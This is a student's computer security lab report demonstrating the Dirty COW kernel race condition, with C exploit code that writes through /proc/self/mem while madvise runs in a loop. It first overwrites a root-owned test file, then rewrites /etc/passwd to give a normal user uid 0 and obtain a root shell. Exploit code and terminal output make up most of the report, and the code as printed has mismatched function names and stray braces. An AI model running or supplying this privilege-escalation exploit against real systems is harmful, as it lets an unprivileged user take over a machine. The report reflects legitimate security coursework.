

Computer Security

Lab 5 Report

Dirty Cow

Chirag Sachdev

680231131

Task 1:

Dirty cow on a Dummy File

We first create a dummy file zzz and fill it with "11111222222333333"

```
Terminal
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ sudo touch zzz
[sudo] password for seed:
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ sudo chmod 644 zzz
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ sudo vim zzz
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ cat zzz
111111222222333333
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$
```

Here we see that the file is root owned and has Readonly permission for other users.

We run the program provided on the lab website as follows:

```
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *adviseThread(void *arg);

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f=open("./zzz", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char *position = strstr(map, "22222");

    // We have to do the attack using two threads.
    pthread_create(&pth1, NULL, adviseThread, (void *)file_size);
    pthread_create(&pth2, NULL, writeThread, position);
}
```

```

    // Wait for the threads to finish.
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}

void *writeThread(void *arg)
{
    char *content= "*****";
    off_t offset = (off_t) arg;

    int f=open("/proc/self/mem", O_RDWR);
    while(1) {
        // Move the file pointer to the corresponding position.
        lseek(f, offset, SEEK_SET);
        // Write to the memory.
        write(f, content, strlen(content));
    }
}

void *madviseThread(void *arg)
{
    int file_size = (int) arg;
    while(1){
        madvise(map, file_size, MADV_DONTNEED);
    }
}

```

```

Terminal
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ gcc cow_attack.c -lpthread
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ ./a.out
^C
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ cat zzz
111111*****333333
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$

```

On running the program for some time, we see that the contents of the readonly file have been modified and the string 222222 has been changed to *****.

Thus, the Dirty Cow vulnerability has been successfully exploited.

Task 2:

Changing an existing user's credentials to provide root privileges

For the purpose of this task, we create a user with normal privileges as shown.

```
Terminal
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ sudo adduser charlie
Adding user `charlie' ...
Adding new group `charlie' (1002) ...
Adding new user `charlie' (1001) with group `charlie' ...
The home directory `/home/charlie' already exists. Not copying from `/etc/skel'
.
Enter new UNIX password:
Retype new UNIX password:
No password supplied
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for charlie
Enter the new value, or press ENTER for the default
    Full Name []: Charlie
    Room Number []: 111
    Work Phone []: 1234567890
    Home Phone []: 0987654321
    Other []:
Is the information correct? [Y/n] y
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$
```

We check the contents of the /etc/passwd file to obtain the groupid and userid of the user Charlie.

```
Terminal
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ tail /etc/passwd
saned:x:114:123:./home/saned:/bin/false
seed:x:1000:1000:Seed,,,:/home/seed:/bin/bash
mysql:x:115:125:MySQL Server,,,:/nonexistent:/bin/false
bind:x:116:126:./var/cache/bind:/bin/false
snort:x:117:127:Snort IDS:/var/log/snort:/bin/false
ftp:x:118:128:ftp daemon,,,:/srv/ftp:/bin/false
telnetd:x:119:129:./nonexistent:/bin/false
vboxadd:x:999:1:./var/run/vboxadd:/bin/false
sshd:x:120:65534:./var/run/sshd:/usr/sbin/nologin
charlie:x:1001:1002:Charlie,111,1234567890,0987654321:/home/charlie:/bin/bash
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$
```

We modify our exploit program to replace "1001:1002" to "0000:0000" as follows

```
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
```

```

void *adviseThread(void *arg);

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f=open("/etc/passwd", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char *position = strstr(map, "1001:1002");

    // We have to do the attack using two threads.
    pthread_create(&pth1, NULL, adviseThread, (void *)file_size);
    pthread_create(&pth2, NULL, writeThread, position);

    // Wait for the threads to finish.
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}

void *writeThread(void *arg)
{
    char *content= "0000:0000";
    off_t offset = (off_t) arg;

    int f=open("/proc/self/mem", O_RDWR);
    while(1) {
        // Move the file pointer to the corresponding position.
        lseek(f, offset, SEEK_SET);
        // Write to the memory.
        write(f, content, strlen(content));
    }
}

void *adviseThread(void *arg)
{
    int file_size = (int) arg;
    while(1){
        advise(map, file_size, MADV_DONTNEED);
    }
}

```

```
}  
}
```

We compile and run the program as follows:

```
Terminal  
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ gcc cow_attack.c -lpthread -o  
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ gcc cow_attack.c -lpthread -o  
cow_attack_charlie  
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ ./cow_attack_charlie  
^C  
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ tail /etc/passwd  
saned:x:114:123::/home/saned:/bin/false  
seed:x:1000:1000:Seed,,,:/home/seed:/bin/bash  
mysql:x:115:125:MySQL Server,,,:/nonexistent:/bin/false  
bind:x:116:126::/var/cache/bind:/bin/false  
snort:x:117:127:Snort IDS:/var/log/snort:/bin/false  
ftp:x:118:128:ftp daemon,,,:/srv/ftp:/bin/false  
telnetd:x:119:129::/nonexistent:/bin/false  
vboxadd:x:999:1::/var/run/vboxadd:/bin/false  
sshd:x:120:65534::/var/run/sshd:/usr/sbin/nologin  
charlie:x:0000:0000:Charlie,111,1234567890,0987654321:/home/charlie:/bin/bash  
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$
```

Upon successful change of the /etc/passwd file, we see that the gid and uid of the user Charlie has been modified.

We then check the privileges of user Charlie by user the whoami command.

```
root@ubuntu: /home/seed/Desktop/Lab5-DirtyCow  
[10/07/2019] Chirag@ubuntu:~/Desktop/Lab5-DirtyCow$ su charlie  
Password:  
root@ubuntu: /home/seed/Desktop/Lab5-DirtyCow# whoami  
root  
root@ubuntu: /home/seed/Desktop/Lab5-DirtyCow#
```

Here we see that by exploiting the dirty cow vulnerability, we can modify an existing user to gain root privileges.

This vulnerability exploits a race condition in the kernel to write readonly files owned by root.